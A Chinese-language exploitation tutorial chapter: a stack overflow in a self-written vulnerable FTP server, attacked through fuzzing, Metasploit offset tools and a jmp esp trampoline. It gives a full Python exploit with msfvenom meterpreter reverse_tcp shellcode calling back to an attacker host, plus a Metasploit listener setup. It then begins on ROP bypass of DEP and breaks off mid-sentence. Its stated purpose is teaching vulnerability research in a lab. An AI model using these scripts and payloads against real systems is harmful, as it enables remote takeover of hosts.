通常情況下棧溢出可能造成的后果有兩種,一類是本地提權(quán)另一類則是遠(yuǎn)程執(zhí)行任意命令,通常C/C++并沒有提供智能化檢查用戶輸入是否合法的功能,同時程序編寫人員在編寫代碼時也很難始終檢查棧是否會發(fā)生溢出,這就給惡意代碼的溢出提供了的條件,利用溢出攻擊者可以控制程序的執(zhí)行流,從而控制程序的執(zhí)行過程并實(shí)施惡意行為,本章內(nèi)容筆者通過自行編寫了一個基于網(wǎng)絡(luò)的FTP服務(wù)器,并特意布置了特定的漏洞,通過本章的學(xué)習(xí),讀者能夠掌握漏洞挖掘的具體流程,及利用方式,讓讀者能夠親自體會漏洞挖掘與利用的神奇魔法。
棧溢出是緩沖區(qū)溢出中最為常見的一種攻擊手法,其原理是,程序在運(yùn)行時棧地址是由操作系統(tǒng)來負(fù)責(zé)維護(hù)的,在我們調(diào)用函數(shù)時,程序會將當(dāng)前函數(shù)的下一條指令的地址壓入棧中,而函數(shù)執(zhí)行完畢后,則會通過ret指令從棧地址中彈出壓入的返回地址,并將返回地址重新裝載到EIP指令指針寄存器中,從而繼續(xù)運(yùn)行,然而將這種控制程序執(zhí)行流程的地址保存到棧中,必然會給棧溢出攻擊帶來可行性。
5.2.1 溢出是如何產(chǎn)生的
通常情況下C語言中提供了一系列的標(biāo)準(zhǔn)函數(shù),這些標(biāo)準(zhǔn)函數(shù)如果使用不當(dāng)則會造成意想不到的后果,例如strcpy()
函數(shù)如果讀者在編程時沒有檢查用戶輸入數(shù)據(jù)有效性,則將會產(chǎn)生嚴(yán)重的溢出后果,如下提供一種簡單的具有漏洞的代碼片段,以幫助讀者理解漏洞的產(chǎn)生原因及利用技巧,首先讀者需要將代碼保存為overflow.c
文件;
#include <stdio.h>
#include <string.h>
void geting(char *temp)
{
char name[10];
strcpy(name, temp);
printf("input name = %s \n", name);
printf("input size = %d \n", strlen(name));
}
int main(int argc,char *argv[])
{
geting(argv[1]);
return 0;
}
請自行打開VS編譯器中的開發(fā)人員命令提示,然后執(zhí)行cl /Zi /GS- overflow.c
編譯并生成可執(zhí)行文件,參數(shù)中的/GS-
就是關(guān)閉當(dāng)前的GS保護(hù)。
上述案例就是利用了strcpy()
函數(shù)的漏洞從而實(shí)現(xiàn)溢出的,程序運(yùn)行后用戶從命令行傳入一個參數(shù),該參數(shù)的大小是不固定的,傳入?yún)?shù)后由內(nèi)部的geting()
函數(shù)接收,并通過strcpy()
函數(shù)將臨時數(shù)據(jù)賦值到name
變量中,最后將其打印出來,很明顯代碼中并沒有對用戶輸入的變量進(jìn)行長度的限定,而正是因為如此從而導(dǎo)致緩沖區(qū)溢出漏洞的產(chǎn)生。
我們開始分析程序,由于overflow.exe
程序需要命令行傳參分析,所以讀者應(yīng)該將overflow.exe
程序復(fù)制到x64dbg
調(diào)試器目錄下,并在CMD中執(zhí)行;
我們需要在命令行界面中來啟動調(diào)試器,其中第一個參數(shù)overflow.exe
就是程序名,第二個參數(shù)是傳入的命令行參數(shù),我們知道緩沖區(qū)長度是10
個字符,為了能夠讓程序產(chǎn)生溢出,此處輸入的數(shù)據(jù)必須要大于10
個字節(jié),這里我就輸入一串lysharkAAAAAAAAABBBB
字符串,如下圖所示,當(dāng)程序被運(yùn)行時EDX寄存器
指向的則是我們自定義輸入的字符串,由于要調(diào)用CALL
指令,此處的CALL
指令代表的是geting
函數(shù),所以需要將EDX
字符串壓棧存儲,而在進(jìn)入geting
函數(shù)之前,CALL指令需要將自身下一條指令壓棧存儲,但此時由于我們輸入的數(shù)據(jù)大與棧地址所能容納的最大值,因此在壓棧時勢必會造成覆蓋??臻g的情況產(chǎn)生;
接著我們繼續(xù)進(jìn)入到geting
函數(shù)的內(nèi)部,當(dāng)該函數(shù)被執(zhí)行時首先第一步則是在堆中取出字符串并打印,而當(dāng)函數(shù)調(diào)用到Ret
返回時此時程序會在堆棧中取出返回地址填充之EIP
指針中,但此時的早已被AAAA
所覆蓋。
我們來看一下當(dāng)前堆棧中的數(shù)據(jù),可以看到在程序調(diào)用Ret時,EIP一定會被填充為一串毫無意義的42424242
的內(nèi)存地址,而當(dāng)這段連續(xù)的A被替換成ShellCode
的反彈地址時則此時將會發(fā)生可怕的事情。
至此我們還差一個關(guān)鍵的跳轉(zhuǎn)步驟,上圖中的424242
我們需要填充為一個能夠跳轉(zhuǎn)到當(dāng)前堆棧中的跳轉(zhuǎn)指令地址,這類跳板指令可以使用jmp esp
或call esp
指令,因為我們的ShellCode
在堆棧中存儲著,為了能執(zhí)行這段惡意代碼,我們需要將42424242
替換為具有Jmp ESP
功能的指令片段,來讓其能夠跳轉(zhuǎn)到堆棧中。
在x64dbg調(diào)試器中此類指令集的搜索很容易實(shí)現(xiàn),讀者可通過Ctrl+B
指令調(diào)出特征碼搜索功能來實(shí)現(xiàn)搜索,本例中我們搜索kernelbase.dll
模塊,并在其中尋找Jmp ESP
指令集,需要注意的是此類指令集的機(jī)器碼為FF E4
當(dāng)然如果是Call ESP
則特征值為FF D4
如果有其它需求讀者可自行轉(zhuǎn)換。
為了實(shí)現(xiàn)搜索特征碼讀者需要切換到kernelbase.dll
模塊,通過在內(nèi)存布局中點(diǎn)擊.text
節(jié)即可完成切換,當(dāng)然如果其他模塊中存在此類特征也是可以使用的,選擇此模塊是因為此模塊中存在。
接著按下Ctrl+B
輸入FFE4
特征碼,實(shí)現(xiàn)搜索功能,如下圖所示,其中的三個地址都是可以被利用的跳板;
此時我們以0x7537829C
為例,為了模擬這個流程修改堆棧中的0x42424242
為0x7537829C
則當(dāng)程序返回時會自動跳轉(zhuǎn)到0x7537829C
地址處;
而0x7537829C
地址為Jmp ESP
指令,也就是指向了當(dāng)前的內(nèi)存堆棧地址;
當(dāng)程序被執(zhí)行此跳板時,則會跳轉(zhuǎn)到當(dāng)前堆棧的內(nèi)存區(qū)域,而如果此處是攻擊者構(gòu)造好的一塊惡意ShellCode
代碼,則將會實(shí)現(xiàn)反彈后門的目的,并以此獲取主機(jī)的完全控制權(quán);
至此一個簡單的緩沖區(qū)溢出漏洞就分析完畢了,經(jīng)過分析可知,我們的ShellCode
惡意代碼應(yīng)該這樣構(gòu)建,其形式是:AAAAAAAAAAAAAAAA BBBB NNNNNNN ShellCode
這里的A代表的是正常輸入內(nèi)容,其作用是正好不多不少的填充滿這個緩沖區(qū)
這里的B代表的是Jmp Esp
的機(jī)器指令,該處應(yīng)該為0x7537829C
這里的N代表Nop
雪橇的填充,一般的20個Nop左右就好
這里的ShellCode
就是我們要執(zhí)行的惡意代碼
由上面的關(guān)鍵點(diǎn)可以總結(jié)出最終的輸入方式,程序運(yùn)行后會先跳轉(zhuǎn)到Jmp Esp
并執(zhí)行該指令,然后Jmp Esp
會跳轉(zhuǎn)到Nop
雪橇的位置,此時程序的執(zhí)行流會順著Nop
雪橇滑向ShellCode
惡意代碼,當(dāng)惡意代碼被執(zhí)行則攻擊者即可獲取到反彈權(quán)限。
- Ax16 + jmp esp + nopx20 + ShellCode
至此讀者可通過上述總結(jié)構(gòu)建出如下所示的漏洞利用代碼片段,此時調(diào)用overflow.exe
則會實(shí)現(xiàn)反彈后門的功能,也就預(yù)示著攻擊成功了;
import os
os.system(b"overflow.exe
AAAAAAAAAAAAAAAA
\x75\x37\x82\x9c
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\xba\x1a\x77\xba\x2b\xd9\xee\xd9\x74\x24\xf4\x5e\x29\xc9"
)
5.2.2 漏洞分析與挖掘
在前面的簡單分析中詳細(xì)讀者已經(jīng)能夠理解緩沖區(qū)溢出是如何產(chǎn)生又是如何利用的了,為了演示遠(yuǎn)程棧溢出攻擊的具體手法以及二進(jìn)制漏洞挖掘與利用的思路,這里筆者編寫了FTPServer
遠(yuǎn)程服務(wù)程序,該服務(wù)運(yùn)行后會在本機(jī)開啟0.0.0.0:9999
端口,讀者可以通過netcat
工具遠(yuǎn)程連接到服務(wù)器并可以執(zhí)行一些基本的命令。
如上圖就是運(yùn)行后的FTP服務(wù)器,通過netcat
工具鏈接服務(wù)端的地址nc 192.168.9.118 9999
可以得到一個FTP交互環(huán)境,此時可以執(zhí)行send | hello world
命令,來向服務(wù)器發(fā)送一段字符串,同時服務(wù)器會返回給你Data received successfully
這樣的提示信息,如下圖所示;
要執(zhí)行漏洞挖掘第一步則是要從分析數(shù)據(jù)包開始,這里使用了WireShark
工具,Wireshark 是一款免費(fèi)的網(wǎng)絡(luò)分析軟件,它可以用于捕獲、分析和解釋網(wǎng)絡(luò)通信數(shù)據(jù)。它可以讀取多種網(wǎng)絡(luò)協(xié)議,包括TCP、UDP、HTTP、DNS
等,并將它們以圖形化的形式顯示出來,從而幫助用戶更直觀地理解網(wǎng)絡(luò)流量。Wireshark還支持許多強(qiáng)大的分析功能,如協(xié)議分析、流量分析等,它是一個功能強(qiáng)大、易用的網(wǎng)絡(luò)分析工具。
如果讀者使用了Kali
系統(tǒng),則默認(rèn)會安裝有該工具,請讀者打開Kali
菜單欄,并找到嗅探/欺騙
菜單并點(diǎn)擊WireShark
則可啟動該軟件;
當(dāng)軟件被啟動后,讀者可通過點(diǎn)擊頁面中的eth0
網(wǎng)卡來實(shí)現(xiàn)監(jiān)控數(shù)據(jù)包的功能,執(zhí)行模糊測試的第一步就是要確定發(fā)送數(shù)據(jù)包中包頭的格式,通過Wireshark工具監(jiān)控TCP流,將源地址設(shè)置為本機(jī)的192.168.9.135
目標(biāo)地址設(shè)置為192.168.9.118
,設(shè)置過濾語句,監(jiān)控并從中得到數(shù)據(jù)傳輸?shù)母袷叫畔ⅰ?/p>
- 過濾語句:
tcp.stream and ip.src_host==192.168.9.135 and ip.dst_host==192.168.9.118
此時讀者再次執(zhí)行send | hello lyshark
并在此時會抓取到一些數(shù)據(jù)包,通過對數(shù)據(jù)包的分析與提取最終確定如下內(nèi)容,內(nèi)容中則包含了發(fā)送到服務(wù)端的具體數(shù)據(jù)格式。
上圖中我們可以直觀的看出,數(shù)據(jù)包的格式僅僅是send | hello lyshark
并沒有添加任何的特殊符號,更沒有加密傳輸,接下來就是要驗證對端是否存在緩沖區(qū)溢出了,這里我們需要編寫一個模糊測試腳本來對目標(biāo)服務(wù)進(jìn)行測試,腳本內(nèi)容如下,該腳本執(zhí)行后會對目標(biāo)FTP服務(wù)進(jìn)行發(fā)包測試,每次遞增1不斷嘗試。
具體來說,它使用socket
模塊創(chuàng)建一個TCP
套接字,然后連接到指定的IP
地址和端口號,發(fā)送一系列的緩沖區(qū)(payload)
并觀察程序的行為。如果程序崩潰或出現(xiàn)異常,則說明發(fā)現(xiàn)了漏洞。
下面是代碼的主要功能:
- initCount(count, Inc):該函數(shù)用于初始化緩沖區(qū),返回一個包含多個字符串的列表,這些字符串遞增地包含 A 字符,每個字符串的長度遞增 count,直到長度超過 50 個字符。count 的初始值為 0,每次遞增量為 Inc。
- Fuzz(addr, port, buffer):該函數(shù)對指定的 IP 地址和端口號執(zhí)行模糊測試。它遍歷緩沖區(qū)中的所有字符串,并嘗試連接到目標(biāo)主機(jī),發(fā)送字符串并等待一段時間。如果發(fā)送的字符串長度超過了目標(biāo)應(yīng)用程序能夠處理的最大長度,則函數(shù)會捕獲異常并提示。函數(shù)返回 None。
# coding:utf-8
import socket,time
def initCount(count,Inc):
buffer = ["A"]
while len(buffer)<=50:
buffer.append("A" * count)
count = count + Inc
return buffer
def Fuzz(addr,port,buffer):
try:
for string in buffer:
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = sock.connect((addr,port))
sock.recv(1024)
command = b'send |/.:/' + string.encode()
sock.send(command)
sock.close()
time.sleep(1)
print('Fuzzing Pass with {} bytes'.format(len(string)))
except Exception:
print('\n This buffer cannot exceed the maximum {} bytes'.format(len(string)))
if __name__ == "__main__":
# initCount 10 說明從0開始遞增,每次遞增100
buff = initCount(0,100)
Fuzz("192.168.9.118",9999,buff)
上方的代碼的構(gòu)造需要具體分析數(shù)據(jù)包的形式得到,在漏洞模糊測試中上方代碼中間部分的交互需要根據(jù)不同程序的交互方式進(jìn)行修改與調(diào)整,這里測試腳本執(zhí)行后當(dāng)緩沖區(qū)填充為2100bytes
時程序崩潰了,說明該程序的send
函數(shù)確實(shí)存在緩沖區(qū)溢出漏洞,其次該程序緩沖區(qū)的大小應(yīng)在2100-2200
字節(jié)以內(nèi)。
由于模糊測試時程序發(fā)生了崩潰現(xiàn)象,我們可知該程序確實(shí)存在溢出漏洞,為了能讓讀者更加深入的理解緩沖區(qū)發(fā)生的原因和定位技巧,筆者將具體分析其匯編代碼的組織形式,這里為了方便演示我將在被攻擊主機(jī)進(jìn)行逆向分析。
首先被攻擊主機(jī)打開x64dbg
將FTP程序載入并運(yùn)行,接著我們按下Ctrl + G
在recv
函數(shù)上下一個斷點(diǎn),因為程序接收用戶輸入的功能需要使用recv
函數(shù)的,所以這里我們直接下斷,然后運(yùn)行程序,在客戶端發(fā)送數(shù)據(jù)send | hello lyshark
后會被斷下,由于我們將斷點(diǎn)下在了ws2_32.dll
模塊內(nèi),此時需要運(yùn)行到該模塊返回,并跳出該系統(tǒng)模塊。
直接回到程序領(lǐng)空,會看到如下圖所示的代碼片段,這里我們需要在0x0040148D
這個內(nèi)存地址處下一個F2
斷點(diǎn),然后取消系統(tǒng)領(lǐng)空中recv
上的斷點(diǎn)。
通過再次發(fā)送send | hello lyshark
程序會被斷下,我們單步向下跟進(jìn)會發(fā)現(xiàn)下面的代碼片段,這里正是我們的send
函數(shù)所執(zhí)行的區(qū)域,此處我們記下這個內(nèi)存地址0x004017D5
觀察反匯編代碼可知,0x4017DB
位置處分配了內(nèi)存長度為BB8
的區(qū)域,并直接調(diào)用memset
函數(shù)完成了內(nèi)存填充,這里由于沒有嚴(yán)格的過濾檢查所以會產(chǎn)生緩沖區(qū)溢出問題;
為了能夠更加明確的確定此處產(chǎn)生問題的根源,我們還需要使用IDA這款靜態(tài)分析軟件,打開IDA Pro
加載程序并按下G鍵
,來到0x4017DB
內(nèi)存地址處,如下圖所示;
并分析如下代碼片段,此處的溢出點(diǎn)為_Function3
函數(shù)的內(nèi)部,在傳入?yún)?shù)時將分配的變量3000
個字節(jié)的緩沖區(qū),直接傳遞給了_Function3
函數(shù),此處是犯下的第一個錯誤,當(dāng)然如果開發(fā)者在_Function3
函數(shù)內(nèi)部進(jìn)行了補(bǔ)救這個錯誤也不會致命;
接著我們繼續(xù)跟進(jìn)這個call _Function3
函數(shù),會發(fā)現(xiàn)子過程內(nèi)部并沒有對接收緩沖區(qū)大小進(jìn)行嚴(yán)格的過濾,強(qiáng)制將3000byte
的數(shù)據(jù)拷貝到2024byte
的緩沖區(qū)中,此時緩沖區(qū)就會發(fā)生溢出,從而導(dǎo)致堆棧失衡程序崩潰,這和上方的模糊測試腳本得到的結(jié)果是差不多的。至此唯的補(bǔ)救機(jī)會已經(jīng)失去了;
為了能夠更加精確的計算出緩沖區(qū)的具體大小,我們還需使用Metasploit
中集成工具,該工具默認(rèn)需要一起配合使用,其原理就是利用了隨機(jī)字符串計算當(dāng)前字符串距離緩沖區(qū)首部的偏移,通過使用唯一字符串法,我們可以快速定位到當(dāng)前緩沖區(qū)的實(shí)際大小,要使用Metasploit
的工具需要先配置好環(huán)境變量,你可以先執(zhí)行以下操作,然后再利用pattern_create.rb
生成長度為3000
字節(jié)的字符串。
┌──(lyshark?kali)-[~]
└─$ cd /usr/share/metasploit-framework/tools/exploit
┌──(lyshark?kali)-[/usr/share/metasploit-framework/tools/exploit]
└─$ bundle install
┌──(lyshark?kali)-[/usr/share/metasploit-framework/tools/exploit]
└─$ ./pattern_create.rb -l 3000
當(dāng)讀者執(zhí)行pattern_create.rb
生成模糊測試字符串時,接著讀者需要準(zhǔn)備要一段可發(fā)送這段字符串的Python程序,并將字符串填充至buffer
變量內(nèi),構(gòu)建出如下所示的代碼用例;
# coding:utf-8
import socket
host = "192.168.9.118"
port = 9999
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((host,port))
command = b'send |/.:/'
buffer = b '<字符串填充到這里>'
sock.send(command + buffer)
sock.close()
當(dāng)讀者填充好數(shù)據(jù)以后,遠(yuǎn)程主機(jī)再次通過x64dbg
附加,并運(yùn)行如上放所示的攻擊腳本,此時調(diào)試器會產(chǎn)生一個異常,并且顯示當(dāng)前EIP的位置為0x6F43376F
如下圖所示;
接著讀者可以通過使用Metasploit
中提供的第二個工具pattern_offset.rb
計算出當(dāng)前緩沖區(qū)的實(shí)際大小是2002
接著就可以寫出漏洞利用的基礎(chǔ)框架,其中的EIP
是一個未知數(shù),我們暫且先用BBBB
來填充,此時的BBBB
所對應(yīng)的是42424242
┌──(lyshark?kali)-[/usr/share/metasploit-framework/tools/exploit]
└─$ ./pattern_offset.rb -q 0x6F43376F -l 3000
[*] Exact match at offset 2002
至此讀者可根據(jù)上述代碼案例寫出如下所示的Python代碼,其中command
為發(fā)送數(shù)據(jù)包所需要的特有格式,buffer
則填充為2002
字節(jié)也就是正常緩沖區(qū)的長度,接下來則是EIP的位置,此處暫且使用BBBB
代替,最后是NOP雪橇的50個字符長度。
# coding:utf-8
import socket
host = "192.168.9.118"
port = 9999
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((host,port))
command = b"send |/.:/"
buffer = b'A' * 2002
eip = b'BBBB'
nops = b'\x90' * 50
sock.send(command + buffer + eip + nops)
sock.close()
當(dāng)我們再次執(zhí)行這個溢出腳本時,對著會發(fā)現(xiàn)FTP服務(wù)器的EIP指針
已經(jīng)被替換成了42424242
也就是替換為了BBBB
的機(jī)器碼格式;
而再看堆棧中的數(shù)據(jù),此時也已經(jīng)被90909090
就是Nop雪橇,以及我們精心構(gòu)造的數(shù)據(jù)填充滿了;
這說明我們的預(yù)測與分析完全正確,此時針對該漏洞的分析工作就結(jié)束了;
5.2.3 尋找JMP跳板指令
在上面環(huán)節(jié)中我們已經(jīng)確定了填充物的大小,但程序每次運(yùn)行其棧地址都是隨機(jī)變化的,這是因為堆??臻g默認(rèn)是由操作系統(tǒng)調(diào)度分配的每次分配都不會一致,在Windows漏洞利用過程中,由于程序的裝入和卸載都是動態(tài)分配的,所以Windows進(jìn)程的函數(shù)棧幀可能產(chǎn)生移位
,即ShellCode
在內(nèi)存中的地址是動態(tài)變化
的,因此需要Exploit(漏洞利用代碼)
在運(yùn)行時動態(tài)定位棧中的ShellCode
地址。
此時我們需要尋找一個跳板,能夠動態(tài)的定位棧地址的位置,在這里我們使用jmp esp
作為跳板指針,其基本思路是,使用內(nèi)存中任意一個jmp esp
地址覆蓋返回地址,函數(shù)返回后被重定向去執(zhí)行內(nèi)存中jmp esp
指令,而ESP寄存器指向的地址正好是我們布置好的nop雪橇
的位置,此時EIP執(zhí)行流就會順著nop雪橇滑向我們構(gòu)建好的惡意代碼,從而觸發(fā)我們預(yù)先布置好的ShellCode代碼。
選擇利用模塊: 首先通過x64dbg調(diào)試器附加FTP程序,然后選擇符號菜單,這里可以看到該服務(wù)程序加載了非常多的外部DLL庫,我們可以隨意選擇一個動態(tài)鏈接庫跳轉(zhuǎn)過去,這里為了通用我就選擇 network.dll
這個模塊作為演示,模塊的選擇是隨機(jī)的,只要模塊內(nèi)部存在 jmp esp
指令或者是能夠跳轉(zhuǎn)到nop雪橇位置的任何指令片段均可被利用。
搜索JMP跳板: 接著在調(diào)試器的反匯編界面中,按下Ctrl + F
搜索該模塊中的jmp esp
指令,因為這個指令地址是固定的,我們就將EIP指針跳轉(zhuǎn)到這里,又因esp寄存器存儲著當(dāng)前的棧地址,所以剛好跳轉(zhuǎn)到我們布置好的nop雪橇的位置上,如下圖我們就選擇 625011ED
這個代碼片段。
5.2.4 組合腳本并攻擊
至此針對本應(yīng)用程序的漏洞挖掘與分析就分析完成了,既然所有條件都滿足了接下來就是生成漏洞利用代碼了,這里我們可以通過MSF提供的msfvenom
命令快速的生成一個32位的有效攻擊載荷,并將其與我們得到的內(nèi)存地址進(jìn)行組裝,需要注意的是此處指定的lhost
是攻擊主機(jī)的IP地址,此處指定的lport
需要開啟一個與9999端口不沖突的端口,并最后生成Python格式的攻擊載荷;
┌──(lyshark?kali)-[~]
└─$ msfvenom -a x86 --platform Windows \
> -p windows/meterpreter/reverse_tcp -b '\x00' lhost=192.168.9.135 lport=8888 -f python
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 381 (iteration=0)
x86/shikata_ga_nai chosen with final size 381
Payload size: 381 bytes
Final size of python file: 1887 bytes
buf = b""
buf += b"\xda\xd6\xb8\x8e\x0b\x73\x3d\xd9\x74\x24\xf4\x5f"
buf += b"\x2b\xc9\xb1\x59\x31\x47\x19\x83\xc7\x04\x03\x47"
[省略符]
buf += b"\xe7\x41\x5c\x36\x62\xa9\xf2\x48\xa7"
如上所示,既然有了攻擊載荷,接下來則是將生成的ShellCode
與Python
攻擊腳本相結(jié)合,此時讀者需要注意host=192.168.9.118
指定的是被攻擊主機(jī)的IP地址,此處的command
代表的是默認(rèn)發(fā)包是所遵循的發(fā)包格式,此處的buffer
代表正常的填充物,此處的EIP
則代表Jmp ESP
的實(shí)際跳轉(zhuǎn)地址,此處nops
是NOP雪橇,最后通過command + buffer + eip + nops + buf
將攻擊載荷進(jìn)行組裝,即可寫出如下所示的完整攻擊代碼;
# coding:utf-8
import socket
host = "192.168.9.118"
port = 9999
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((host,port))
command = b"send |/.:/" # 發(fā)送數(shù)據(jù)包頭
buffer = b'A' * 2002 # 實(shí)際緩沖區(qū)填充物
eip = b'\xED\x11\x50\x62' # 此處就是EIP跳轉(zhuǎn)地址地址應(yīng)該反寫
nops = b'\x90' * 50 # nop雪橇的位置
buf = b""
buf += b"\xda\xd6\xb8\x8e\x0b\x73\x3d\xd9\x74\x24\xf4\x5f"
buf += b"\x2b\xc9\xb1\x59\x31\x47\x19\x83\xc7\x04\x03\x47"
buf += b"\x15\x6c\xfe\x8f\xd5\xff\x01\x70\x26\x9f\x88\x95"
buf += b"\x17\x8d\xef\xde\x0a\x01\x7b\xb2\xa6\xea\x29\x27"
buf += b"\x86\x13\xc2\xf0\xa2\xcd\x56\x8c\x1a\x20\xa9\xdd"
buf += b"\x67\x23\x55\x1c\xb4\x83\x64\xef\xc9\xc2\xa1\xb9"
buf += b"\xa4\x2b\x7f\x6d\xcc\xe1\x90\x1a\x90\x39\x90\xcc"
buf += b"\x9e\x01\xea\x69\x60\xf5\x46\x73\xb1\x7e\x1e\x6b"
buf += b"\xba\xd8\xbf\x8a\x6f\x88\x3a\x45\xfb\x14\x74\xa9"
buf += b"\x4d\xef\x42\xde\x4f\x39\x9b\x20\xe3\x04\x13\xad"
buf += b"\xfd\x41\x94\x4e\x88\xb9\xe6\xf3\x8b\x7a\x94\x2f"
buf += b"\x19\x9c\x3e\xbb\xb9\x78\xbe\x68\x5f\x0b\xcc\xc5"
buf += b"\x2b\x53\xd1\xd8\xf8\xe8\xed\x51\xff\x3e\x64\x21"
buf += b"\x24\x9a\x2c\xf1\x45\xbb\x88\x54\x79\xdb\x75\x08"
buf += b"\xdf\x90\x94\x5f\x5f\x59\x67\x60\x3d\xcd\xab\xad"
buf += b"\xbe\x0d\xa4\xa6\xcd\x3f\x6b\x1d\x5a\x73\xe4\xbb"
buf += b"\x9d\x02\xe2\x3b\x71\xac\x63\xc2\x72\xcc\xaa\x01"
buf += b"\x26\x9c\xc4\xa0\x47\x77\x15\x4c\x92\xed\x1f\xda"
buf += b"\xdd\x59\x16\x9d\xb6\x9b\x29\x83\xfe\x12\xcf\x93"
buf += b"\xae\x74\x40\x54\x1f\x34\x30\x3c\x75\xbb\x6f\x5c"
buf += b"\x76\x16\x18\xf7\x99\xce\x70\x60\x03\x4b\x0a\x11"
buf += b"\xcc\x46\x76\x11\x46\x62\x86\xdc\xaf\x07\x94\x09"
buf += b"\xc8\xe7\x64\xca\x7d\xe7\x0e\xce\xd7\xb0\xa6\xcc"
buf += b"\x0e\xf6\x68\x2e\x65\x85\x6f\xd0\xf8\xbf\x04\xe7"
buf += b"\x6e\xff\x72\x08\x7f\xff\x82\x5e\x15\xff\xea\x06"
buf += b"\x4d\xac\x0f\x49\x58\xc1\x83\xdc\x63\xb3\x70\x76"
buf += b"\x0c\x39\xae\xb0\x93\xc2\x85\xc2\xd4\x3c\x5b\xed"
buf += b"\x7c\x54\xa3\xad\x7c\xa4\xc9\x2d\x2d\xcc\x06\x01"
buf += b"\xc2\x3c\xe6\x88\x8b\x54\x6d\x5d\x79\xc5\x72\x74"
buf += b"\xdf\x5b\x72\x7b\xc4\x6c\x09\xf4\xfb\x8d\xee\x1c"
buf += b"\x98\x8e\xee\x20\x9e\xb3\x38\x19\xd4\xf2\xf8\x1e"
buf += b"\xe7\x41\x5c\x36\x62\xa9\xf2\x48\xa7"
sock.send(command + buffer + eip + nops + buf)
sock.close()
最后讀者使用Metasploit
框架的命令行界面來配置一個攻擊。該代碼使用了exploit/multi/handler
模塊,該模塊是Metasploit
框架中的一個通用攻擊模塊,用于監(jiān)聽反向連接。代碼中set payload
命令來設(shè)置攻擊的有效載荷,本例中使用的是 windows/meterpreter/reverse_tcp
最后使用set
設(shè)置主機(jī)IP及PORT端口,最后執(zhí)行exploit
命令啟動偵聽器,等待反彈;
┌──(lyshark?kali)-[~]
└─$ msfconsole -q
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.9.135
msf exploit(multi/handler) > set lport 8888
msf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.9.135:8888
當(dāng)一切準(zhǔn)備就緒之后我們運(yùn)行fuck.py
攻擊腳本,此時即可得到目標(biāo)主機(jī)的完全控制權(quán),當(dāng)下目標(biāo)主機(jī)已經(jīng)淪為肉雞任人宰割。
上方筆者所演示的就是典型的基于內(nèi)存的攻擊技術(shù),該技術(shù)的優(yōu)勢就是幾乎很難被發(fā)現(xiàn),100%的利用成功率,內(nèi)存攻擊技術(shù)就是利用了軟件的安全漏洞,該漏洞的產(chǎn)生表面上是開發(fā)人員沒有對緩沖區(qū)進(jìn)行合理的檢測,但其根本原因是,現(xiàn)代計算機(jī)在實(shí)現(xiàn)圖靈模型時,沒有在內(nèi)存中嚴(yán)格區(qū)分?jǐn)?shù)據(jù)和指令,這就存在程序的外部輸入很有可能被當(dāng)作指令來執(zhí)行,當(dāng)今任何操作系統(tǒng)都很難根除這種設(shè)計缺陷(圖靈機(jī)特性),只能在某種程度上通過引入特殊的技術(shù)(DEP保護(hù)機(jī)制)去阻止黑客的成功利用。
5.2.5 ROP繞過DEP保護(hù)
筆者前期提到過,緩沖區(qū)溢出的根本原因就是錯誤的將用戶輸入的惡意數(shù)據(jù)當(dāng)作了指令來執(zhí)行了從而導(dǎo)致發(fā)生溢出,因此微軟推出了基于軟件實(shí)現(xiàn)的DEP保護(hù)
機(jī)制,其原理就是強(qiáng)制將堆棧
屬性設(shè)置為NX
不可執(zhí)行,而在后期AMD也首次推出了基于硬件實(shí)現(xiàn)的CPU處理器,從而很大程度上解決了這類溢出事件的發(fā)生。
而隨著DEP技術(shù)的出現(xiàn),黑客們就研究出了另一種繞過的措施,就是本次所提到的ROP返回導(dǎo)向
編程,在微軟系統(tǒng)中有這樣的一些函數(shù)他們的作用就是可以將堆棧設(shè)置為可讀可寫可執(zhí)行屬性(VirtualProtect)
之所以會出現(xiàn)這些函數(shù)是因為,有些開發(fā)人員需要在堆棧中執(zhí)行代碼,所以也不可能將這樣的功能徹底去掉。
既然無法直接執(zhí)行堆棧上的代碼,但是代碼段依然是可以被執(zhí)行的,我們可以經(jīng)過調(diào)用末尾帶有RET
指令的微小片段,而他們會返回到棧,并再次調(diào)用令一塊片段,以此類推,眾多的小片段就可以完成調(diào)用VirtualProoect
函數(shù)的功能,從而將當(dāng)前堆棧設(shè)置為可執(zhí)行,這樣堆棧中的代碼就可以被執(zhí)行下去。
關(guān)于VirtualProoect
函數(shù),該函數(shù)用于更改指定內(nèi)存區(qū)域的保護(hù)屬性。函數(shù)的函數(shù)原型如下:
BOOL VirtualProtect(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flNewProtect,
PDWORD lpflOldProtect
);
該函數(shù)有四個參數(shù):
- lpAddress:指向目標(biāo)內(nèi)存區(qū)域的指針。
- dwSize:要更改保護(hù)屬性的內(nèi)存區(qū)域的大小,以字節(jié)為單位。
- flNewProtect:請求的新保護(hù)屬性。
- lpflOldProtect:一個指向變量的指針,用于保存舊的保護(hù)屬性。
返回值為 BOOL 類型,如果函數(shù)成功執(zhí)行,則返回非零值,否則返回零。
需要注意的是:在構(gòu)建ROP鏈
的時候,如果RET返回
之前是一個影響堆棧的指令,那么我們就需要在ROP堆棧鏈
的下方手動填充一些墊片來中和掉POP
等指令對堆棧的影響,因為下一條指令也會從堆棧中取值,如果不中和掉這些無用代碼的影響則ROP鏈
將無法被正常執(zhí)行,比如如下圖這條代碼POP ECX
影響了堆棧,如果不是我們所需要調(diào)用的參數(shù),那么我們就在他的下面填充一些填充物來中和一下。
但讀者應(yīng)該明白,這里所說的繞過DEP
保護(hù)其實(shí)并不完善,其實(shí)我們并無法繞過,而僅僅只是尋找沒有開啟DEP保護(hù)的模塊作為跳板使用,并依附于這些跳板指令構(gòu)造出能夠調(diào)用VirtualProtect
函數(shù)的指令集,當(dāng)該指令被調(diào)用,則自然DEP保護(hù)可以被關(guān)閉,在找到模塊之前,必須判斷哪些模塊可以被使用,這里讀者是否想到了LyScript
